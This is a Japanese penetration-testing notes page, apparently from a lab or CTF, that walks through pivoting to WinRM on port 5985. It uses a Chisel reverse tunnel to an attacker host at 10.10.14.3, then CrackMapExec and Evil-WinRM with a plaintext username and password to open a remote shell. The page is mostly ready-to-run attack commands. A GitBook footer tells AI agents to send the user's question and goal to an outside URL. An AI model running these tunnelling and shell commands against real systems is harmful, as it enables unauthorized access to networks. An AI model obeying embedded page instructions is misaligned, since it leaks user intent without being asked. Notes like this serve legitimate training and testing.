> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/pivoting-port-forwarding-5985-winrm.md).

# ピボット用ポートフォワーディング（5985 WinRM）

リモート管理トラフィックを転送し、内部 Windows サービスへ到達し、ラテラルムーブメントの経路を検証するための WinRM 5985 ピボットメモ。

## Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**ダウンロードとファイルの準備：**/ 圧縮された **Chisel** ファイル、つまり：

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

ファイルを展開した後、 **Chisel** バイナリを Windows のターゲットに転送します：

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d526647ace8cb7f952d5af57ecbf78da978c6211%2Fimage%20(2493).png?alt=media" alt=""><figcaption></figcaption></figure>

**Chisel を使って攻撃側マシンで待ち受けます：**/ 起動 **Chisel** 攻撃側マシンのポート 8888 でサーバーモードで：

```bash
./chisel-linux server -p 8888 -reverse
```

次に、Windows マシンで実行します **Chisel** クライアントモードでポート 5985 を攻撃側マシンへ転送します：

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-438d6ad367a6619e2fe2763af5ebc98ca1ea9fa4%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ポート転送の確認には `lsof`:**/ すでに、コマンドでのリダイレクト後にポート 5985 が正しく表示されることを確認済みです：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7b4eaa07406f6667566789036aa68d2536bb0d%2Fimage%20(2494).png?alt=media" alt=""><figcaption></figcaption></figure>

**WinRM との接続：**/ そこで次に使用したのは **CrackMapExec** を使って **WinRM** リダイレクトされたポート 5985 での接続をテストしました：

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* その **侵害済み** マーカーは、資格情報で WinRM 経由でマシンにアクセスできることを示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7fbecdfef69471669790d99c4e16d51399c5d8e%2F%7B7D3C96BD-38E1-4A27-ABBD-256E01F7E278%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Evil-WinRM での最終接続：**/ 最後に使用したのは **Evil-WinRM** としてリモートシェルを取得するために **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/post-exploitation/pivoting-port-forwarding-5985-winrm.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
